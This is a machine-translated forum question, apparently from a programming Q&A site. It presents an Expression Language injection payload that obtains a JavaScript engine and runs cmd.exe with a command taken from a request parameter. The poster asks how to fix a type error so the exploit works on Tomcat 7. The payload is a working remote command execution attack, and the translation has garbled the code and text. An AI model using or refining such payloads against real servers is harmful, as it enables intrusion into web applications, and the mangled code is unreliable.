http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html显示了通过EL注入获取操作系统的好方法,并且我已成功使用了很多次。帖子说:
调用引擎的eval()方法" JavaScript"接受JS代码作为字符串(有时Jetty 8.2给出“java.io.Reader”)与JS代码执行运行时命令
我成功地针对在Apache 8.0.15.0上运行的JRE6 webapp运行了以下有效负载。
$ {session.setAttribute(" scriptfactory""" .getClass()的forName(" javax.script.ScriptEngineManager"。)的newInstance() )} $ {session.setAttribute("的ScriptEngine",session.getAttribute(" scriptfactory&#34)。getEngineByName所("的JavaScript"))} $ {session.getAttribute( "的ScriptEngine"。)的getContext GETRESPONSE()的getWriter())} $ {session.getAttribute(&#34()setWriter(facesContext.getExternalContext(。);的ScriptEngine"。)的eval(& #34; var proc = new java.lang.ProcessBuilder [\"(java.lang.String [])\"]([\" cmd.exe \",\ " / C \" \"" .concat(用request.getParameter(" CMD&#34))的concat(" \" ])。启动()}
当我使用Tomcat 7.0.37针对JRE7尝试该有效负载时,我得到了一个类型异常
无法转换var proc = new java.lang.ProcessBuilder"(java.lang.String [])" .start();类java.lang.String类型java.io.Reader
如何在使用Java调用Javascript引擎的单线程的范围内处理此问题?